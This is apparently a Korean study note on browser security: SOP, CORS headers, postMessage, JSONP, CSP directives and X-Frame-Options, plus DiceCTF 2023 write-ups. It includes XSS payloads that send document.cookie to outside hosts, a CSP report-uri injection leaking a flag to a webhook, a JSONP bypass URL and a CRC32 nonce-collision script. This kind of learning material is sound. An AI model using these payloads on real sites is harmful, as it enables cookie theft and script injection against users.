SOP(Same Origin Policy)
- 동일 출처 정책이라고도 하는데, 외부에서 가져온 자원을 제한하는 정책임
- 브라우저에서 지원하는 기능으로, Javascript, Documents, Media 등을 하나의 Origin에서 다른 Origin으로 통신을 하지 못하게 한다.
- Same-Origin: 같은 프로토콜, 호스트, 포트를 사용하는 Origin
- 다른 Origin에서 자원을 갖고 오지 못하는 정책을 풀어주는게 CORS이다.
- 외부 자원을 갖고 오는걸 막는건 브라우저가 서버와 브라우저 이용자를 지켜주는 행위이다.
- 예를 들어서 네이버와 비슷하게 만들어놓은 사이트에서 로그인 하도록 유도한 후 해당 로그인 정보로 실제 네이버에 요청을 보내서 로그인을 한 것 처럼 보이게 할 수 있음.
- 이렇게 된다면 로그인 정보 뿐만 아니라 추가적인 피해를 입을 수 있다.
CORS(Cross-Origin Resource Sharing)
CORS
- SOP에서 걸었던 제약사항을 완화해서 다른 Origin에서도 리소스를 가져올 수 있게 해준다.
- 브라우저에서 SOP를 지원하기 때문에 리소스를 가져오는걸 막기 때문에 리소스를 가져오려면 브라우저의 허락이 필요함.
- 브라우저에서는 preflight rquest를 리소스를 가지고 있는 서버에 전송해서 cross-origin리소스를 가져와도 되는 지 확인한다.
- preflight request는 OPTIONS method를 사용하고, GET보다 빠름, 그 이유는 header정보만 확인하기 때문임.
- 리소스를 가지고 있는 서버가 적절한 CORS헤더를 반환하면 리소스를 가져오는 요청을 보낸다.
- 서버 A가 웹 사이트를 열고, 서버 B가 리소스를 가지고 있다고 했을 때
- 브라우저는 B 서버에 해당 리소스를 가져와도 되는지 허락을 받는거임.
- 서버 B는 어떤 타입의 데이터를 줄 수 있는지, 어떤 호스트가 허용 되는지를 전달해 준다.
Simple requests
- 모든 requests가 preflight을 날리는건 아니다. preflight을 날리지 않는 requests를 simple requests라고 한다.
- 대신에 request를 날릴 때 Origin헤더를 달고 날라간다.
- Origin헤더에는 요청을 날리는 웹사이트의 url이 들어간다.
- 그러면 리소스를 가지고 있는 서버는 Access-Control-Allow-Origin헤더를 달고 response를 날려준다.
- Access-Control-Allow-Origin은 리소스에 접근 가능한 Origin 정보를 담고 있다.
Preflighted requests
- 위에서 설명한대로 OPTIONS method로 리소스를 가지고 있는 origin에 request를 날린다.
- XMLHttpRequest에서 preflighted request는 POST요청을 보낼 때 보내진다.
- 그 이유는 해당 데이터가 서버에 전달 되었을 때 userdata등에 영향을 미칠 수 도 있기 때문이다.
- preflight를 날릴 때 custom header를 포함해서 보내기도 한다.

- 그냥 위 이미지 보면 바로 이해 가는데, preflight에서는 어디서 어떤 방식으로 어떤 헤더를 달고 날릴건지 실제 request에 대한 설명을 해준다.
- 그러면 리소스를 가지고 있는 서버는 자신이 받을 수 있는 method, header, origin 정보를 담아서 전달한다.
- 그리고 조건을 만족하면 실제 request, response가 진행된다.
- preflighted request에서 모든 부라우저가 redirection을 진행하지는 않음.
- 예를들어서 http://resource_sever.com/resource에 실제 request가 갔는데, redirection이 response로 온다면 error를 띄워버리는 브라우저들도 있다.
- 이게 원래는 이래야 됐는데, 이제는 redirection을 안막아도 됨. 하지만 적용되지 않은 브라우저들도 존재한다.
Requests with credentials
- 기본적으로 XMLHttpRequest나 Fetch가 발생했을 때 브라우저는 credential(cookie등)을 전달하지 않는다.
- XMLHttpRequest에서는 withCredentials를 true로 설정해서 credential을 함께 전송할 수 있다.
- 하지만 브라우저는 리소스를 가지고 있는 서버에서 온 response에서 Access-Control-Allow-Credentials헤더의 값이 true가 아니라면 response값이 web에 뜨지 않도록 막는다. ⇒ preflight가 없는 GET method에서도 동일하다.
- CORS-preflight request는 credential정보를 포함하면 안된다.
- credential정보는 preflight의 response로 Access-Control-Allow-Credential이 true로 올 때 그 때 전달한다.
- Access-Control-Request-Method
- preflight에서 실제 request method에 대해서 알려줌
- Access-Control-Request-Headers
- preflight에서 실제 HTTP에서 포함할 header에 대해서 알려줌.
- 위 request에 대한 response가 원하는 대로 안올 경우 브라우저에서 실제 request를 날리지 않음.
- Access-Control-Allow-Origin
- 리소스 접근을 허용하는 origin에 대해서 알려준다.
- Access-Control-Allow-Origin 헤더 값을 request의 Origin에 맞춰서 전달해 준다면 Vary: Origin헤더를 추가로 넣어줘야 한다.
- 리소스를 가지고 있는 서버가 *가 아닌 Origin을 넣어주는 방식으로 처리한다면
- Access-Control-Expose-Headers
- javascript를 통해서 브라우저가 접근할 수 있는 헤더를 특정해서 알려준다.
- Access-Control-Max-Age
- preflight request가 캐싱되는 기간에 대해서 알려준다.
- Access-Control-Allow-Credentials
- credential정보를 전달해도 되는지에 대해서 알려준다.
- Access-Control-Allow-Methods
- 서버에서 처리할 수 있는 method에 대해서 알려준다.
- Access-Control-Request-Method에 대해서 답해준다
- Access-Control-Allow-Headers
- Access-Control-Request-Headers에 대한 응답으로 리소스 서버에서 받을 수 있는 헤더에 대해서 답변해준다.
CORS 우회
- 일단 기본적으로 요청을 받는 서버가 내 서버라면 CORS정책은 그냥 맞춰주면 되는거라 그렇게 어려운 일이 아니다.
window.postMessage
- 서로 다른 origin간의 메시지를 교환하기 위한 API
targetWindow.postMessage(message, targetOrigin);
window.onmessage = function (e) {
if (e.origin === 'https://dreamhack.io') {
console.log(e.data);
e.source.postMessage('Hello, world!', e.origin);
}
}
message로는 DOM객체나 함수는 보낼 수 없다.
⇒ 이때 origin에 대한 검사를 하지 않을경우 위험
parent.postMessage(`XSS attack<script>
new Image().src="https://attacker.test/retrieve?" + document.cookie);
alert(document.domain);
<${'/'}script>`, 'https://dreamhack.io');
DOM객체는 직접 전달 못하긴 하는데, 이런 식으로 script코드를 만들어서 보내는건 가능한듯
JSONP
<script src="https://api.test/request.jsonp?id=123&callback=onAPIResponse">
- 응답 데이터를 callback함수로 감싸는 형태이고, 스크립트 src로 줘야 한다는 점이 JSON API와 다른점
- JSONP를 사용할때는 origin을 검사하거나, CSRF토큰을 사용하는 등의 방어가 필요
- HTML데이터를 콜백명에 사용할 경우 html injection이 가능할 수 있기 때문에 mime type검사와,
X-Content-Type-Options: nosniff
헤더로 응답이 js가 아닌 html로 인식되는걸 막아야 한다.
CSP
- CSP에서는 인라인코드()같은 형태를 지양함
- () ⇒ good
- on *이벤트 속성, javascript:스킴도 인라인 코드로 간주하고 허용하지 않음
- css도 마찬가지로 인라인 코드 허용 x
- 문자열 텍스트를 실행 가능한 자바스크립트 코드 형태로 변환(ex: eval함수)하는 매커니즘도 유해 하다고 간주 ⇒ 문자열 형태로 인자를 받을경우 차단.
- 하지만 인라인 함수 형태로 인자를 전달할 경우 허용한다.
CSP 지시문
- default-src: 디폴트 설정
- connect-src: 연결할 수 있는 URL을 제한
- script-src: 스크립트 관련 권한 집합을 제어
- child-src: iframe태그에서 사용
- style-src: 스타일시트 관련 권한 집합을 제어
- img-src: 이미지 관련 권한 집합을 제어
base-uri
directive restricts the URLs which can be used in a document's [<base>](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/base)
element.
CSP 옵션
- none: 모든것을 차단
- self: 현재 도메인만 허용
- unsafe-inline: 소스코드 내 인라인 자바스크립트 및 CSS를 허용
- nonce-논스값: 인라인 자바스크립트, CSS를 제한적으로 허용함
- example.com: 특정 url허용
CSP적용 확인해볼 수 있는 사이트들
1. https://csp-evaluator.withgoogle.com/
2. https://cspvalidator.org/
Using CSP Option(DICE CTF 2023)
- 전에 참여했던 CTF에서 iframe에 sandbox가 걸려있는 상탱에서 CSP option을 이용해서 XSS를 터트리는 문제가 있었다.
- CSP자체적으로도 sandbox옵션을 줄 수 있는데, 이렇게 되면 전체적으로 해당 페이지에 sandbox를 건다.
- 하지만 iframe에 sandbox옵션이 걸려 있다면 해당 옵션이 우선시 된다.
box.html
<body>
<div id="content">
<h1>codebox</h1>
<p>Codebox lets you test your own HTML in a sandbox!</p>
<br>
<form action="/" method="GET">
<textarea name="code" id="code"></textarea>
<br><br>
<button>Create</button>
</form>
<script nonce="00306022">alert(1);</script>
<br>
<br>
</div>
<div id="flag"></div>
</body>
<script>
const code = new URL(window.location.href).searchParams.get('code');
if (code) {
const frame = document.createElement('iframe');
frame.srcdoc = code;
**frame.sandbox = '';**
frame.width = '100%';
document.getElementById('content').appendChild(frame);
document.getElementById('code').value = code;
}
const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;
</script>
- 클라이언트 사이드 렌더링을 통해서 내가 textarea에 입력한 데이터를 iframe에 넣어주는 문제였음.
- frame.srcdoc을 이용해서 html마크업을 iframe에 넣어준다.
- 중요한점은 frame.sandbox가 걸려있기 때문에 어떠한 스크립트 동작이나 다른 것들을 할 수 없음.
web.js
const fastify = require('fastify')();
const HTMLParser = require('node-html-parser');
const box = require('fs').readFileSync('box.html', 'utf-8');
fastify.get('/', (req, res) => {
const code = req.query.code;
const images = [];
if (code) {
const parsed = HTMLParser.parse(code);
for (let img of parsed.getElementsByTagName('img')) {
let src = img.getAttribute('src');
if (src) {
images.push(src);
}
}
}
const csp = [
"default-src 'none'",
"style-src 'unsafe-inline'",
"script-src 'nonce-00306022' 'unsafe-inline'",
];
if (images.length) {
csp.push(`img-src ${images.join(' ')}`);
}
res.header('Content-Security-Policy', csp.join('; '));
res.type('text/html');
return res.send(box);
});
fastify.listen({ host: '0.0.0.0', port: 8000 });
- 서버단에서 돌아가는 코드인데, 내가 입력한 code를 가져와서 파싱한 다음에 img의 src에 해당하는 부분을 CSP의 img-src에 넣어서 이미지를 로드할 수 있게 해준다.
라업을 보고 알게 된 내용
- sandbox를 우회해서 script를 띄울 방법에만 너무 몰두했던 것 같다.

- CSP에는 report-uri 디렉티브가 있어서 콘솔에 찍히는 에러같은 문제가 발생할 경우에 어디로 report를 할지 정해줄 수 있다.
- report는 JSON형태로 온다.

- script-src 디렉티브에 ‘report-sample’ 을 넣어줘서 정확히 어디서 문제가 발생했는지에 대해서 알려준다.

- require-trusted-types-for 디렉티브도 추가해주는데, 원래 기능은 DOM XSS를 방지하기 위함임.
const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;
- 위 코드는 DOM XSS에 취약한 코드라고 볼 수 있기 때문에 위 코드에서 오류가 발생하도록 해서 ${flag}에 들어있는 flag를 report로 가져오는것이 목표이다.
const code = new URL(window.location.href).searchParams.get('code');
if (code) {
const frame = document.createElement('iframe');
frame.srcdoc = code;
frame.sandbox = '';
frame.width = '100%';
document.getElementById('content').appendChild(frame);
document.getElementById('code').value = code;
}
const flag = localStorage.getItem('flag') ?? "flag{test_flag}";
document.getElementById('flag').innerHTML = `<h1>${flag}</h1>`;
- 하지만 그러기 위해서는 위 if문에 들어가서 if문에서 report가 되는걸 막아야한다.
<img src="*; report-uri https://webhook.site/e0ed1be2-44d9-4b28-94b7-dfcf809428d4; script-src 'report-sample'; require-trusted-types-for 'script';">

- 위와같이 입력하고 웹훅사이트에서 확인해보면 이런식의 JSON 레포트가 오는걸 볼 수 있고, script-sample키의 값으로 어디서 오류가 발생했는지 알려주는걸 볼 수 있다.
- 그렇다면 if문을 들어가지 않게 하려면 어떻게 해야하냐..?
code=&code=~~payload~
이런식으로 줘서 서버단에서 처리하는 파라미터랑 브라우저에서 처리하는 파라미터를 혼란시켜주면 된다.

- 콘솔창에서 code를 가져오려고 하면 이런식으로 앞서 입력한 비어있는 code파라미터를 가져온다.

- 반면에 서버단에서는 두개를 모두 받아들이게 되고, 배열이긴 한데, 어떻게 파싱이 잘되는듯 하다.

- 조건이 조금 까다롭긴 하지만 CSP의 디렉티브들을 이용해서 우회가능한 부분들을 배울 수 있었던듯.
CSP 우회
신뢰하는 도메인에 업로드
- CSP에서 허용하는 도메인에 파일을 업로드 할 수 있다면 js파일 등을 업로드 한뒤 XSS에 사용할 수 있다.
JSONP API
https://accounts.google.com/o/oauth2/revoke?callback=alert(1);
CSP에서 허용한 출처가 JSONP를 지원하고,
*.google.com만 허용할 경우 이런식으로 callbck함수를 이용해서 원하는 script를 실행할 수 있음.
⇒ callback에 필터링을 걸어서 방어할 수있음
nonce
- nonce값을 생성하는 알고리즘이 취약할 경우 계산해서 때려 맞춘다
- 캐싱을 이용한 방법
unsafe nonce (DICE CTF 2023)
- 문제에서는 nonce값을 생성할때 crc32라는 해시를 이용했고, 32bit라는 길이 때문에 콜리전이 충분히 일어날 수 있다는 취약점이 존재함.
gen collision
from zlib import crc32
str_front = '<script nonce=';
str_end = '>location.href="http://jun4n.com/"+document.cookie;</script>';
i=0x711d1655
while True:
my_nonce = hex(i)[2:].zfill(8)
full_str = str_front + my_nonce + str_end
your_nonce = hex(crc32(full_str.encode()))[2:].zfill(8)
print(my_nonce, your_nonce)
if my_nonce == your_nonce:
print(full_str)
break
i += 1
- python의 zlib모듈에 존재하는 CRC32함수가 문제에서 사용하는 CRC32와 동일하게 동작하기 때문에 코드를 이렇게 짰다.

base-uri
- base태그를 통해서 base-uri를 설정하면 상대경로를 통해서 가져오는 파일들은 base태그에 삽입된 url에서 가져오게 된다.
X-Frame-Options
- HTML injection을 이용해서 iframe을 삽입하는등의 공격이 가능함
- 나의 페이지가 다른 서버의 페이지에 삽입되서 공격당하는 상황을 방지하기 위함
옵션
- DENY: 해당 홈페이지는 다름 홈페이지에서 표시할 수 없다.
- SAMEORIGIN: 해당 홈페이지는 동일한 도메인의 페이지 내에서만 표시할 수 있다.
- ALLOW-FROM : 해당 홈페이지는 origin에서 포함하는것을 허용한다.
⇒ 즉 DENY설정을 하면 나의 페이지가 다른 페이지의 iframe에 들어간다거나 하는 일을 방지할 수 있음.